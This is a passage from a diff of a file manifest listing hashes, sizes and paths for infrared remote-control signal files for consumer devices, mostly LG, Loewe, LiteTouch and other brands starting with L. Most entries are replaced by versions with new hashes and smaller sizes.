-F:0c183396f0d1cc36af5c1c4b9e442d64:1159:infrared/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir +F:9d043edd7ddc18243f27092c5f4f2da6:1085:infrared/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir D:infrared/_CSV-IRDB_/L+S/Unknown_30755 D:infrared/_CSV-IRDB_/L+S/Unknown_LS -F:d15442735f8a94a0cdb20b601e420776:3363:infrared/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir -F:3f7790ae3913ca7f2ddf6edec2cb269e:1377:infrared/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir +F:cec2a8ff7c5359e9f3d6f6291a00d596:3151:infrared/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir +F:352635ed54ce7d18334189cf284fbaa3:1291:infrared/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir D:infrared/_CSV-IRDB_/LEMON/Unknown_LEMON -F:17b73150f050be4a1cf9c3cc855247ad:3124:infrared/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir +F:8720e4760b116a64bc7c468bfcc91a9f:2924:infrared/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir D:infrared/_CSV-IRDB_/LG/Blu-Ray D:infrared/_CSV-IRDB_/LG/DVD Player D:infrared/_CSV-IRDB_/LG/DVR @@ -3558,223 +3558,223 @@ D:infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00008K D:infrared/_CSV-IRDB_/LG/Unknown_MKJ40653807 D:infrared/_CSV-IRDB_/LG/Unknown_MKJ61842704 D:infrared/_CSV-IRDB_/LG/Unknown_PBAFA0189A -F:a6e38485bd2569f57e924e437850cab2:8546:infrared/_CSV-IRDB_/LG/Blu-Ray/45,45.ir -F:c9dfd3f120c8032a89e1d6d4e808ee7c:230:infrared/_CSV-IRDB_/LG/DVD Player/16,16.ir -F:8ce46f717b32e04926db5e7ba9c24692:131:infrared/_CSV-IRDB_/LG/DVD Player/44,44.ir -F:1e6936ec38a5cdaa21bbeca4efb071a1:8234:infrared/_CSV-IRDB_/LG/DVD Player/45,45.ir -F:778284f334526e990b26a4e4ea4e1fe9:4844:infrared/_CSV-IRDB_/LG/DVR/45,45.ir -F:13784bbb2f49d28746378266ef1fc5d5:1450:infrared/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir -F:3f4fa81b82745646dfa0e3f2a2e89af1:222:infrared/_CSV-IRDB_/LG/Plasma/1,1.ir -F:2fb550a9facef200346a6b782223c3ea:8826:infrared/_CSV-IRDB_/LG/Plasma/4,-1.ir -F:5a6ead70d333a08514b52cc3170fc53e:2812:infrared/_CSV-IRDB_/LG/Satellite/247,-1.ir -F:237179347440e12374e607071d6cc0df:2852:infrared/_CSV-IRDB_/LG/Sound Bar/44,44.ir -F:3f4fa81b82745646dfa0e3f2a2e89af1:222:infrared/_CSV-IRDB_/LG/TV/1,1.ir -F:aca5d122e37ea12742c8499e42309148:27551:infrared/_CSV-IRDB_/LG/TV/4,-1.ir -F:a9b0296b1ed2de3cd23057f143a5cd72:3916:infrared/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir -F:bee77e9407e714e94ecb554946f41968:4793:infrared/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir -F:2a3f8e44684e0f70e6e59bed895f3d44:3893:infrared/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir -F:90a82da1fa5dbe711333db84472b1706:3733:infrared/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir -F:ecb6c59b0dc6645bd7ddaead5153c3ae:3232:infrared/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir -F:2eb7836eb62d5d057499c6f6f8c77b71:2460:infrared/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir -F:c1e3ee0fd72ebc533931bca7bbcec697:2759:infrared/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir -F:8bf867ad1a18bdeb61a748f524b62aca:2738:infrared/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir -F:642ba42d9b085f33c626b34d7bddd802:1265:infrared/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir -F:7076eca0928a2de0cfb883671d3f7762:3927:infrared/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir -F:33862b28b2abb49afdc990c3cd2380dd:4578:infrared/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir -F:d60e39b75ce2e96c1cb119b53f1f10db:4610:infrared/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir -F:3971a690fe0940264b4690447080d24a:3044:infrared/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir -F:9e539139a9433ba42069559b5ef2a73a:4798:infrared/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir -F:4b4ded02bcdddff2b93c52e330f66aab:3048:infrared/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir -F:17411a1645f72523540c480776ab27c9:1286:infrared/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir -F:65d8e60bf6d0e2f12d00d478b7452b07:3915:infrared/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir -F:3c967e9b0fe26a55c11a8a921e743fe1:2673:infrared/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir -F:f432f4b10845396d5291a6816336cc97:3448:infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir -F:a749f46f663effef1c1109e695be2641:2684:infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir -F:4848c5f1ea29a1e472112c92cf4534af:4116:infrared/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir -F:b254756d9903acacebe70fb62d224260:4084:infrared/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir -F:b984b2d25ed4d107eebd968913177214:3504:infrared/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir +F:06003329ba625f018072ef34b9df3f37:8004:infrared/_CSV-IRDB_/LG/Blu-Ray/45,45.ir +F:42708bbce4af9b0a6d26a1f94dc1bc5d:216:infrared/_CSV-IRDB_/LG/DVD Player/16,16.ir +F:fe4e42d4882d06d0c046e12f0d087002:123:infrared/_CSV-IRDB_/LG/DVD Player/44,44.ir +F:39b4da8de8aa0169456e1877f43656d2:7710:infrared/_CSV-IRDB_/LG/DVD Player/45,45.ir +F:9f2ff1ff3edcacae6594b23a3272767b:4530:infrared/_CSV-IRDB_/LG/DVR/45,45.ir +F:faf0b6fe3593d338dc645be1adff0459:1358:infrared/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir +F:85eb136d2f444c62a9cb3a3add2d64b9:208:infrared/_CSV-IRDB_/LG/Plasma/1,1.ir +F:c8fca0048a89b0c4ee206ed16d2c0904:8260:infrared/_CSV-IRDB_/LG/Plasma/4,-1.ir +F:055a14512d76e4b976a69060e0e0af1b:2630:infrared/_CSV-IRDB_/LG/Satellite/247,-1.ir +F:f75f28476326eec329fb2b8c6373f4ac:2670:infrared/_CSV-IRDB_/LG/Sound Bar/44,44.ir +F:85eb136d2f444c62a9cb3a3add2d64b9:208:infrared/_CSV-IRDB_/LG/TV/1,1.ir +F:3d78078d4c8a25bb145124c13020c3e2:25809:infrared/_CSV-IRDB_/LG/TV/4,-1.ir +F:0f200690e5eab2a4c626ed8e2ce250c4:3668:infrared/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir +F:47d4182d2d3be63737566d84a1cef30e:4491:infrared/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir +F:bedd7c15d3833664b3e0172022703630:3645:infrared/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir +F:1ef6f6dad51621f81c2ff22a40c0189f:3497:infrared/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir +F:2ec7f509555302fb25b466bb55a648ea:3026:infrared/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir +F:2b7d7c8ec7254931a9d42c70b277f71c:2302:infrared/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir +F:ea8e8393ed0e8fb1dcfca68e6a0330a4:2583:infrared/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir +F:8a5433a1bdac5e2b79ce0bb0e6008ff3:2568:infrared/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir +F:ec404516807ff2a8141a527ed7316956:1185:infrared/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir +F:c877c0f5860e7e184822f4c8da36fe1d:3679:infrared/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir +F:0326b1a56e39e8d670fcb32c2523a806:4288:infrared/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir +F:912586000eb8b36cb3eb49157ddfba5e:4320:infrared/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir +F:51d35250ebfb73be2cee8de17ae7a2ba:2850:infrared/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir +F:250217c29ea1dc8de0ab6c76dfa28a69:4496:infrared/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir +F:9bf4f933211a93a2928eef951e7fe8a9:2854:infrared/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir +F:d562ff63fd65c132edae9c52b991b389:1206:infrared/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir +F:c99fb62ac6d75d7da2928a0bac708cb7:3667:infrared/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir +F:0d792645307114cee5adb46a265503df:2503:infrared/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir +F:d455d52701150ebfed81f383be5ba2b1:3230:infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir +F:0557789d3bb7342439692e6bb5575e25:2514:infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir +F:2aa448ff200505e65bb0b2eb0785674c:3856:infrared/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir +F:aff0ba091843c675d5b217c1d4a0c648:3830:infrared/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir +F:de400d0ad56eecefa77b5e5c46228400:3280:infrared/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir D:infrared/_CSV-IRDB_/LP Morgan/Screen -F:33985b6e0e8fe00c88fa1437883abbc8:620:infrared/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir +F:81220611a407ddb4acbbb77d4b5fec12:582:infrared/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir D:infrared/_CSV-IRDB_/LXI/TV -F:9b17b995a9b4ef7c526c793e1f285d90:2841:infrared/_CSV-IRDB_/LXI/TV/4,-1.ir +F:dae9efcf32c1e28224035b8c6aad1df1:2659:infrared/_CSV-IRDB_/LXI/TV/4,-1.ir D:infrared/_CSV-IRDB_/Lacie/Unknown_Lacie D:infrared/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS -F:1f5143c34dd4ea4d7d696e0373d61715:4209:infrared/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir -F:0c8d0785c2e8f31e9bfdec6314d45985:1681:infrared/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir +F:5b9fa2505ea063c1eee252bb7ca1f4a7:3943:infrared/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir +F:9428cad726461fbede4377acc6b253e2:1577:infrared/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir D:infrared/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000 -F:54b3e34fc86c2e05e190eff42b716bb9:4416:infrared/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir +F:f2fdc42b133eb84d63160eed9b96db0a:4138:infrared/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir D:infrared/_CSV-IRDB_/LeadTek/Unknown_RM-0007 D:infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400046 D:infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400052 D:infrared/_CSV-IRDB_/LeadTek/Unknown_Y04G0004 -F:d0fd8e962e5f817bdf1757201e14a08e:3060:infrared/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir -F:7a1a976c0b8a860b6a07cbb7a7706069:3905:infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir -F:506cc664a4e8fdf095f298d4114cee6b:5335:infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir -F:1457845f738d76e92608952aed0118eb:4681:infrared/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir +F:9846172df7f8ed708e6d7034c5369a83:2866:infrared/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir +F:1e26bc0ea0f87ecf8b984118cc6d434d:3657:infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir +F:6df40163a3f045185d554a7dc66c2e1e:4997:infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir +F:83656952111dea58783d4f6fa24061b5:4385:infrared/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir D:infrared/_CSV-IRDB_/Leadership/Unknown_GOTEC -F:cd0a5bff2fa3e4f178482f0693ea9ba9:4687:infrared/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir +F:375bb19d4d3902201e220c4264832ad7:4391:infrared/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir D:infrared/_CSV-IRDB_/Lenovo/Unknown_Y530 -F:f70ebce3264d436ad4bc496b74bc16b0:2546:infrared/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir +F:2b56a5686ef8efc4559691d4d8363ddf:2388:infrared/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir D:infrared/_CSV-IRDB_/Lexicon/DVD Player D:infrared/_CSV-IRDB_/Lexicon/Receiver D:infrared/_CSV-IRDB_/Lexicon/Surround Processor -F:82048fd48b14fa4102d3fad31d27bcae:2780:infrared/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir -F:05fb0832fce494beeeadb573e2366d1c:3591:infrared/_CSV-IRDB_/Lexicon/Receiver/130,11.ir -F:61b15a8395bb391c37c48a071b6ec6f9:26729:infrared/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir -F:935b3956270fc1044e6613fd2e3da8f6:12821:infrared/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir -F:5ac8443ffe6a107462fab098dd12682f:7544:infrared/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir +F:9d21909101a8775fc7d4f6284e597b9d:2598:infrared/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir +F:29a233bd2e9997c668a69198b9de93a8:3355:infrared/_CSV-IRDB_/Lexicon/Receiver/130,11.ir +F:30c0475fe0be670fb29da746a4cffc25:25119:infrared/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir +F:ad3dbcb3efc8c69b5482bd41978ff74e:12033:infrared/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir +F:48fdde2e89947e4ab529c856471ef154:7086:infrared/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir D:infrared/_CSV-IRDB_/Life-view/Unknown_3000 D:infrared/_CSV-IRDB_/Life-view/Unknown_flyvideo -F:4bbc6f6be6033d94df219550a5f8cdb8:2314:infrared/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir -F:63ca1c87d2fe5a2ac9d1a2a79368c811:3819:infrared/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir +F:996d89c576561e3a4fdfec387cdd79b2:2168:infrared/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir +F:23bca18ca47e6e567ac83e6e50ff03a6:3577:infrared/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir D:infrared/_CSV-IRDB_/Lifesat/Unknown_28 -F:24c452e1ea72296f5683d8ebc674f434:2094:infrared/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir +F:e5d82ee32509ce18bc9f38af0c09684b:1960:infrared/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir D:infrared/_CSV-IRDB_/Lifetec/Unknown_LT9096 D:infrared/_CSV-IRDB_/Lifetec/Unknown_RC2000 D:infrared/_CSV-IRDB_/Lifetec/Unknown_remote -F:84459c6bd5e09c0551fad0c3188c676c:3185:infrared/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir -F:4585f9ff0e6ff644dd04f94f00f4990e:2949:infrared/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir -F:da53a81675dd40bde1a686976bd1537d:819:infrared/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir +F:74470e6499cdb28bfc2841c5d31981ab:2985:infrared/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir +F:2817b5f4714ba94c7931f8a9b5662533:2761:infrared/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir +F:faa2b2085da6f071b3482b198c886154:769:infrared/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir D:infrared/_CSV-IRDB_/Lightolier/Lighting Controller -F:1c3f90027199cf718ed15e555a26e39c:505:infrared/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir +F:e34c249f459eb18d8d059b045716d2c7:473:infrared/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir D:infrared/_CSV-IRDB_/Linksys/Media Adapter D:infrared/_CSV-IRDB_/Linksys/Unknown_WMA11B-R -F:5ee39bfbbc61fc6e838640469030141c:135:infrared/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir -F:f4b54f3adb128d42fc5fdff803292425:2160:infrared/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir +F:afa36d7ae087bb5b3e9a3904668aff30:127:infrared/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir +F:9049ca3ef6bd3f369b373721002420f4:2026:infrared/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir D:infrared/_CSV-IRDB_/Linn/CD Player D:infrared/_CSV-IRDB_/Linn/Classic music D:infrared/_CSV-IRDB_/Linn/Surround Processor -F:76ce892f373bb17e8fc3792466bd8c45:2047:infrared/_CSV-IRDB_/Linn/CD Player/20,-1.ir -F:940ffa804485d84c00c3f7d597b1590b:1869:infrared/_CSV-IRDB_/Linn/Classic music/16,-1.ir -F:99bebf2011ba6c1b614d6dfcafde2332:869:infrared/_CSV-IRDB_/Linn/Classic music/17,-1.ir -F:67546746b8d93e7937c89d3d490fed4f:2415:infrared/_CSV-IRDB_/Linn/Classic music/20,-1.ir -F:6bd3b4aa55bcd7fa0ecd32a76db15ccc:3108:infrared/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir -F:cd3a1be64272bd59c06315fc6e11a800:1702:infrared/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir -F:4cffbefbc68a32fe747f4ffed03d65de:232:infrared/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir +F:94cd75c2a20964d61db5be8a4aa4593f:1913:infrared/_CSV-IRDB_/Linn/CD Player/20,-1.ir +F:92211679546d23cdfa6191831f9256e6:1747:infrared/_CSV-IRDB_/Linn/Classic music/16,-1.ir +F:86f68ea74a3a8131904d672ca7a5af90:813:infrared/_CSV-IRDB_/Linn/Classic music/17,-1.ir +F:58d530261f429e4d4048df2a91faf9e7:2257:infrared/_CSV-IRDB_/Linn/Classic music/20,-1.ir +F:8d443374921ac7fe2e1054d82969fde0:2902:infrared/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir +F:f0384be85108114834bb1c9285b51862:1586:infrared/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir +F:913ea8e16bdc873153493c27a26a0b02:218:infrared/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir D:infrared/_CSV-IRDB_/LiteOn/DVD Recorder -F:4b7866542253f8753723f4ebe5ca2832:3375:infrared/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir +F:820e25730258535c1c62ab408677fc0c:3157:infrared/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir D:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller -F:3aab240a7e2cbd99d4f8acf595663ee1:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir -F:e0f3965d060924a2bb3752fa93595047:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir -F:1ca8bf94b950923a2761434bb88d297a:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir -F:9ee23a05d5b34b8ec3658e692121c16b:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir -F:fc5f8fbe9d413e2402e955ca4aa82340:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir -F:cdf5e9d2521c9c4068c6eeab17e72667:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir -F:646b0dd1b06f07a030a56a99ed5157a6:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir -F:99a4824a21298a77092a0dc6984a82d1:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir -F:6481bd81da3e13283df54c17f63f96e5:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir -F:d2fc4ca8611c2e117515810fdf9c971d:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir -F:cd98c114c0a5aaa5201d1ded6daa5a12:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir -F:396fc4fdcd88cd3ccb62e69053d8bb95:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir -F:7404b8ca699368c3ef1476ab231724bc:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir -F:8acc2a41c91ee3e537eeb8f0769902ea:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir -F:1678608bc34d06d5c3c28c5ff9511811:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir -F:85c68e7d1fdf4466e9f86b0b1fc037e5:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir -F:c81dc1ce6a686965d1180b214a89ed84:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir -F:72385f486d03c0d3972e8c5f0f11be60:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir -F:e4db23a0a6798d9939e2772c050dc934:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir -F:fc36d29a4a88e24b2c1c7293c29e423f:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir +F:0ab7e7e701a84e45f69c01178259cb7d:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir +F:619500c8350c75ed3d3c1e0ecb5c0da3:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir +F:c61b10ac3a4f8c95bc583bb50e6101f9:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir +F:9a02922af1f0332d351d180f49b42e15:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir +F:18b5edc19613833e67310b315d434928:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir +F:9ccf93f26319e19ffc53b1453a66224c:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir +F:8a7b32b1ae8facad353c1ea7a7b6014d:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir +F:3af7dd449645266373e88a4bac667208:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir +F:88c6ddc5ff336f882389b62cd9386bbd:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir +F:0b9efbcd17c5dc9d83e3b61542e76afb:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir +F:dad9971f3fc3dc28c2f275e9502f8644:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir +F:a3cbfc9251c574b65865a5cb35878080:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir +F:c2d1c7a10212ee93a941b7ba17828bde:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir +F:b287401c861717502885109ff039976a:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir +F:db7281fa205ee606737607f08126b177:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir +F:7136f7cf6237141385e54fe5aeaf1006:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir +F:b6819eab47e1dc39cfc42224c02cae00:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir +F:0f174cba81cae6adf4c2794ce4400eef:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir +F:dd00c0226d0782d39b4ee3973f26829a:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir +F:067d1b7c17b5d0299583a9c858b8f6a9:775:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir D:infrared/_CSV-IRDB_/Loewe/DVD Player D:infrared/_CSV-IRDB_/Loewe/TV D:infrared/_CSV-IRDB_/Loewe/Unknown_8500H D:infrared/_CSV-IRDB_/Loewe/Unknown_control D:infrared/_CSV-IRDB_/Loewe/VCR -F:51b040d73c5cd57b95437abb1ffc3f8b:320:infrared/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir -F:9560c58209e4370c9c5eb6106a048bf0:6075:infrared/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir -F:f3edc693cb58979024d5c1ad12bf4707:136:infrared/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir -F:530e9c2286d6e830cf0d9965f6fa99e7:2879:infrared/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir -F:10d8ec8760157973071f64b3ebd2bac6:3752:infrared/_CSV-IRDB_/Loewe/DVD Player/45,45.ir -F:f08d18b1ce32c8f03c9b3bcb5b939009:15192:infrared/_CSV-IRDB_/Loewe/TV/0,-1.ir -F:dd12b7d0a7da399b0d8535474efec919:340:infrared/_CSV-IRDB_/Loewe/TV/27,-1.ir -F:9181579d7e5307a22ae66d4ea65ab944:126:infrared/_CSV-IRDB_/Loewe/TV/31,-1.ir -F:f3edc693cb58979024d5c1ad12bf4707:136:infrared/_CSV-IRDB_/Loewe/TV/33,-1.ir -F:e0b15680edfb4fef287acae571d796c9:671:infrared/_CSV-IRDB_/Loewe/TV/5,-1.ir -F:76f38cef7d3e9282d10e5ba34a148893:1625:infrared/_CSV-IRDB_/Loewe/TV/6,-1.ir -F:3d7863938ed05ad407ca6e6376e9eb46:3109:infrared/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir -F:9c81143eed35da8531994ac9f5b60564:4122:infrared/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir -F:6bbb00238e5994062f876ea968b2794f:1829:infrared/_CSV-IRDB_/Loewe/VCR/144,0.ir -F:befc3938fe043ef2c0ca71cb3f8f674d:987:infrared/_CSV-IRDB_/Loewe/VCR/144,1.ir -F:af5c1cfdd1b244cbe68f00995a5d42b9:2649:infrared/_CSV-IRDB_/Loewe/VCR/5,-1.ir +F:38d5a091d5e99d7468c451ef39122842:300:infrared/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir +F:d37de4e8e26b394123432ef75f8613c9:5683:infrared/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir +F:1eb541ee3fbb38c9392e9c42e2d30410:128:infrared/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir +F:525f7b5ac8693015fbf7e167d65d5afd:2691:infrared/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir +F:e214ed4307c1cc1ccdf23da6c8e928e0:3510:infrared/_CSV-IRDB_/Loewe/DVD Player/45,45.ir +F:c49d895c18446aa0e096c57f561a3049:14224:infrared/_CSV-IRDB_/Loewe/TV/0,-1.ir +F:28df5792d1d10e64d606ac328b9fca6c:320:infrared/_CSV-IRDB_/Loewe/TV/27,-1.ir +F:5c8cc25b3082d0faa8214d23e8818dca:118:infrared/_CSV-IRDB_/Loewe/TV/31,-1.ir +F:1eb541ee3fbb38c9392e9c42e2d30410:128:infrared/_CSV-IRDB_/Loewe/TV/33,-1.ir +F:df96e52cd69774680bc5dbd24a624f71:627:infrared/_CSV-IRDB_/Loewe/TV/5,-1.ir +F:c679de194be54e222610fa66c1f83bf6:1521:infrared/_CSV-IRDB_/Loewe/TV/6,-1.ir +F:1be064a6b725827f0cbcf2d4a3462295:2909:infrared/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir +F:7421583c9a6c9736aad7836089fd3502:3856:infrared/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir +F:bc7fd9f841c878a29cbeda64aa4f6170:1707:infrared/_CSV-IRDB_/Loewe/VCR/144,0.ir +F:4ab0d886f90dddfe32e98fefdd2059c4:925:infrared/_CSV-IRDB_/Loewe/VCR/144,1.ir +F:1441fb9e500a5ba5c6aa49c68f8be653:2467:infrared/_CSV-IRDB_/Loewe/VCR/5,-1.ir D:infrared/_CSV-IRDB_/Logitech/Unknown_HarmonyOne D:infrared/_CSV-IRDB_/Logitech/Unknown_z5500 -F:87c5b30e69d31fdb1b92abaf94ea05e5:3663:infrared/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir 